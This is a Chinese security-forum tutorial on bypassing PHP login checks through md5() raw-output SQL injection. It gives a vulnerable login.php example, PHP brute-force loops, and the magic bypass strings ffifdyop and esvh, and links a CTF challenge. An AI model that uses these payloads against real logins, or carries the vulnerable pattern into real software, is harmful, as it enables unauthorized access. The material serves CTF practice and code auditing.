用户
搜索

MD5哈希注入的两种方式

2018-10-8 11:58| 发布者: 桃子Tz| 查看: 318| 评论: 0|原作者: W1ngs


0x00 前言


在设计身份验证机制时,网站后台常常会将密码进行 md5 加密后存放在数据库中,但是在 md5 加密函数使用不当时,也会产生一些缺陷来进行 SQL 注入绕过身份认证。


0x01 md5函数


先来看看php中 md5 函数的的介绍:


md5(string,raw)














string raw
必需。规定要计算的字符串。 可选。规定十六进制或二进制输出格式:true 为二进制原始数据,false为十六进制数据

举个例子吧:



可以看到 md5 函数在加密时默认就是输出我们熟悉的十六进制字符串,而只有当第二个参数为true时,才会输出原始的二进制数据(像是乱码了)。


那这个要怎么利用呢?继续往下看。


0x02 利用方式


例子


假设现在有一个 login.php 的代码,代码如下:


$user = $_POST[zxsq-anti-bbcode-'user'];
$pass = $_POST[zxsq-anti-bbcode-'passwd'];

$user = mysql_read_escape_string($user);
$pass = mysql_read_escape_string($pass);

$pass = md5($pass,true);
$query = "select * from users where user = '$user' and password = '$pass'";

$row = mysql_fetch_assoc(mysql_query($query));
if(isset($row[zxsq-anti-bbcode-'user'])){
    echo "Login success!";
}else{
    echo "Login fail!";
}

username 和 password 都用了编码了,所以这里是不存在字符型的注入的。


问题出在了$pass = md5($pass,true); 密码使用了 md5 以二进制形式加密后进行在数据库中进行查询,若查询到了数据,就返回成功。


倘若我们这里可以将加密后的密码构造出类似 ' or '1' 的形式就可以绕过他的查询判断。


爆破


在本地进行测试


<?php

    $v = 'a';

    $payload2 = "'or'";
    while(1){
        $hash = hash("md5",$v,true);
        if(substr_count($hash, $payload2) == 1){
            die($v);     
        }
        $v++;
    }

?>


  • 这里 $v++ 其实是按照 ascii 字符进行后移的,在爆破的时候经常会用到,也算个小技巧吧



这里为了绕过判断,利用碰撞将加密后的值变成'or'的形式


最后可以得到一个结果 ffifdyop


将这个加密回去试试,看到确实是'or'的形式



那么只要我们随意输入一个用户名,密码为 ffifdyop 那么这样我们的语句就变成了:


select * from users where user = 'admin' and password = ''or'6蒥欓!r,b'

这样就可成功绕过判断。


另一种方式


还有一个构造的方法是构造 '=' 的形式,也就是


select * from users where user = 'admin' and password = ''=''

为什么这样构造可以呢?因为 password = ''='' 中,先判断 password =''这个肯定是返回 0 的,因为 password 中没有''这个字段值,前面返回 0 以后,再和后面的等号做比较:0 = ''


因为后面的根据 php 的弱类型进行判断,0 和字符串比较始终返回 1



所以整个 sql 语句就相当于:


select * from users where user = 'admin' and 1

所以与上面的 'or' 不同的是,这个需要传入一个存在的用户名才可以正常绕过。可以看下面的例子:






这里我们还是用爆破的方法:


<?php

    $v = 'a';
    $payload1 = "'='";

    while(1){
        $hash = hash("md5",$v,true);
        if(substr_count($hash, $payload1) == 1){
            die($v);     
        }
        $v++;
    }

?>




这次的爆破比上次快多了。


例题


这里有一道在 hacklab 上的 md5 哈希注入的题目。


题目链接:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/


直接右键查看源代码:



password 参数存在哈希注入,根据我们上面的方法,传入字符串ffifdyop,就可以成功绕过了。但是网站的这个环境好像崩了,无法得到 flag ,但是我们是思路是正确的就行。



总结


这种绕过缺陷比较简单,开发过程中或者审计的时候只要看看 md5 函数的第二个参数是否为 true 就行了。


这两个字符串可以先记住,根据实际情况直接使用就行了。


ffifdyop    --> 'or'
esvh        --> '='

鲜花
鲜花
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋